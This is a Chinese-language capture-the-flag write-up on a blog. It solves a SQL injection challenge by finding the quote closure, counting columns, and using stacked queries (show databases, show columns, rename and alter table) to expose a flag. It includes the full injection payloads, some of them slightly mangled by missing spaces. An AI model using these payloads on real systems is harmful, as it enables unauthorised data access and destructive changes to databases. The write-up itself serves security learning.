題目:
由題目資訊可得出,采用SQL注入;
首先判斷閉合符號,輸入1’ 發現報錯了,用**#**截斷

那么存在注入漏洞,接下來查詢欄位數,**1’ order by 3#**發現報錯了
**1’ order by 2#**則顯示正常,那么欄位數為兩個;
聯合查詢:1’ union select 1,2#
select,update,…都被過濾掉了;
堆疊注入:又叫多陳述句注入,就是原本只執行一個sql句,用函式讓他可以執行多個sql陳述句,
我們繼續查詢資料庫:1’;show databases;#
接下來查詢欄位

此時發現存在‘1919810931114514’和‘words’這兩個欄位,
查詢這兩個欄位中的列名:
1’; show columns form ‘words’

1’; show columns form
1919810931114514
這里要注意使用反引號,


發現words里邊存在id 和data,flag則在1919810931114514里邊,但沒法顯示出來;(我們要的東西都在words中回顯出來了)即我們若想得到flag,就需要:
(1)將欄位words換為其他的,如word1
(2)將欄位1919810931114514換為words
(3)將列名flag換為id
需要使用alter,rename等關鍵字, 如下:
1’ ; rename tables
wordstoword1; rename tables1919810931114514towords; alter tablewordschangeflagidvarchar(100);#
這樣就改變了資料庫結構,
1’ or 1=1#
得到flag{37c18514-62c1-4d17-b3e9-72e9876d7d6f}
本題涉及了rename , alter ,這兩個關鍵字:
rename:重命名
alter:變更列
對資料庫結構改變的簡單陳述句:
CREATE DATABASE - 創建新資料庫
ALTER DATABASE - 修改資料庫
CREATE TABLE - 創建新表
ALTER TABLE - 變更(改變)資料庫表
DROP TABLE - 洗掉表
CREATE INDEX - 創建索引(搜索鍵)
DROP INDEX - 洗掉索引
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/13316.html
標籤:其他
上一篇:go高性能游戲服務器框架
下一篇:SQL優化-索引
